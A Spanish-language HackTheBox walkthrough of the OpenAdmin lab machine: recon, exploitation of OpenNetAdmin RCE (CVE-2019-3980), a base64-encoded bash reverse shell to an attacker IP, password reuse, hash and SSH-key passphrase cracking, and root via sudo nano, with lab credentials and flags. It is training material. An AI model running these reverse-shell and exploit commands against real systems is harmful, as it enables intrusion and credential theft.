---
title: "Writeup OpenAdmin — HackTheBox"
machine: "OpenAdmin"
platform: "HackTheBox"
difficulty: "Medio"
operating_system: ["Linux", "Web"]
tags: ["web", "linux", "privesc", "ssh", "lateral", "rce"]
cves: ["CVE-2019-3980"]
author: "juanluismm520"
author_url: "https://www.writeups.es/u/juanluismm520"
source: "https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-09-10T15:30:43.952149+00:00"
updated: "2026-09-10T17:24:22.061498+00:00"
words: 324
reading_minutes: 2
---# OpenAdmin — HackTheBox

## Resumen

Vulneabilidad RCE de un openadmin 18.1.1 con movimiento lateral a distintos usuarios y finalmente a root.

## Reconocimiento y Enumeración

```bash
nmap $(target) -A -T5 -p- --min-rate 5000
gobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 150 -x php,html,txt,bak,js 
```

Puertos abiertos:

| Puerto | Servicio | Versión |
|--------|----------|---------|
| 22     | SSH      |   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3      |
| 80     | HTTP     |   Apache httpd 2.4.29      |


```bash
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10918]
music                (Status: 301) [Size: 314] [--> http://10.129.69.184/music/]
artwork              (Status: 301) [Size: 316] [--> http://10.129.69.184/artwork/]
sierra               (Status: 301) [Size: 315] [--> http://10.129.69.184/sierra/]
```


Bucando en `music` y haciendo gobuster de nuevo lo más interesante que encuentro es `/music/Source` pero mirando dentro solo hay algunos archivos que no veo de útilidad a simple vista. Inspeccionando página veo un `href` que nos lleva a un enlace `/ona`. Entro y veo un panel de `openadmin 18.1.1`

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/96c59f9d-798c-4335-acc5-e309128da83a.webp)

```bash
searchsploit openadmin
```

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/776dd746-a465-469d-a261-fb0d4238a7b5.webp)

Vemos que hay un exploit público en metasploit. Vamos a probarlo. 

## Explotación
```bash
msfconsole
search openadmin
use 0
set rhosts 10.129.69.184
set targeturi /ona
exploit
```

Pero no llega a funcionar. Encuentro un repositorio público https://github.com/sec-it/OpenNetAdmin-RCE.

Buscando más información encuentro que estamos ante
[CVE-2019-3980](https://nvd.nist.gov/vuln/detail/CVE-2019-3980)

Ejecutando `ruby exploit.rb exploit http://10.129.69.184/ona/ id` obtengo el id como usuario `www-data`.

### Revshell (B64)
Le pasamos una `revshell`. Para ello

```bash
PAYLOAD="bash -i >& /dev/tcp/10.10.15.111/9001 0>&1"
B64=$(echo -n "$PAYLOAD" | base64 -w0)
echo $B64
nc -nvlp 9001 # En otra terminal!
ruby exploit.rb exploit http://10.129.69.184/ona/ "echo $B64|base64 -d|bash" # Obtenemos la shell
```

### (Opcional) Tratamiento de la TTY
Para tener una shell estable
```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z en tu terminal local, luego:
stty raw -echo; fg
# y en la shell remota:
reset
```



## Escalada de privilegios
### Usuario Jimmy
Htb nos da una pista, ya que nos pide la pass del usuario jimmy. Si buscamos información en internet obtenemos que la BD se almacena en `/opt/ona/www/local/config/database_settings.inc.php` donde nos aparece una pass. Si probamos a ver si jimmy ha reutilizado la pass. 

> [!SPOILER]
> 'db_passwd' => 'n1nj4W4rri0R!'

Ejecutamos `su jimmy`
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/e853a048-40de-4f73-bc20-d5b26248e446.webp)

### Usuario joanna
Gracias a que estamos haciendo el `Guided Mode` de HTB. Sabemos que joanna tiene un `vhost`. Simplemente miraremos apache, nginx y podremos ver los vhost virtuales que tiene. 

Como era de esperar encontramos uno `intrnal.openadmin.htb`

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/09bb8a9d-616a-4de7-b969-c580aae00ca9.webp)

Además si nos damos cuenta en la foto, vemos que la config se situa en `/var/www/internal` y leyendo la config 
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/4fcc4157-da2d-4194-8b86-44fcb63b30a6.webp)

```txt
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
```

Hay que crackearla. El tipo de hash es `Sha-512 (raw)`, no tiene salt así que. 

```bash
hashcat -m 1700 -r best64.rule hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1700 hash.txt --show
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1:Revealed
```

Ahora debemos acceder a `internal.openadmin.htb` para eso debemos montar un tunel ssh para poder acceder. Leyendo los archivos, si nos logueamos como jimmy podemos acceder a la clave privada de joana. 

Ejecutamos 
```bash
ssh -L 52846:127.0.0.1:52846 jimmy@10.129.69.184 # Redirige el localhost de la victima con el nuestro
```

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f4e3b72f-9d8c-4637-ab92-2ccd347738d3.webp)

```RSA
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
```

Tiene passphrase pero para crackearla usamos

```bash
ssh2john id_rsa > rsa_hash.txt
john rsa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

> [!SPOILER]
> passphrase:bloodninjas

Ahora `ssh -i ./id_rsa joanna@$(target)`, colocamos la passphrase y listo. Entramos como joanna. 

> [!SPOILER]
> user.txt: 19d83f38f0846ba56f34d54dd3339238



### Root

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7a4b733b-2af7-4418-8165-024e221b0f68.webp)

Podemos ejecutar `nano` como sudo. https://gtfobins.org/gtfobins/nano/ nos indica como vulnerarlo. 

```bash
sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
```
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/c985635d-afdd-445f-b244-16ebdcf05975.webp)

> [!SPOILER]
> root.txt: d2aa940e43dad973b514f6e886355033

---

> Writeup de **juanluismm520** publicado en [writeups.es](https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
